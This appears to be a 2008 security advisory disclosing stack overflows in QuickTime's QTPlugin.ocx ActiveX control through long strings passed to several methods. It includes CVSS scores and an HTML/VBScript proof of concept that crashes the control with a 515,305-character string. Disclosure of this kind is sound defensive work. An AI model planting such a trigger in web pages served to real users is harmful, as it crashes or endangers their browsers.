QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

2008.02.14
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow Web Site: http://www.apple.com/fr/quicktime/download/ Platform: Windows Bug: Multiple Remote Stack Overflow ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits =========== 1) Introduction =========== A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/ ====== 2) Bug ====== Stack Overflow/Denial of service occurs when supplying a long string to theses functions: -SetBgColor -SetHREF -SetMovieName -SetTarget -SetMatrix ===== 3)Proof of concept ===== Proof of concept example [works with the others functions supplyed in section 2) ] : <html> <object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object> <input type="button" value="Hit me" language="VBScript" OnClick="test()"> <script language="VBScript"> sub test() bar = String(515305, "A") foo.SetBgColor bar End Sub </script> </html> ===== 5)Credits ===== laurent gaffi laurent.gaffie{remove_this}[at]gmail[dot]com


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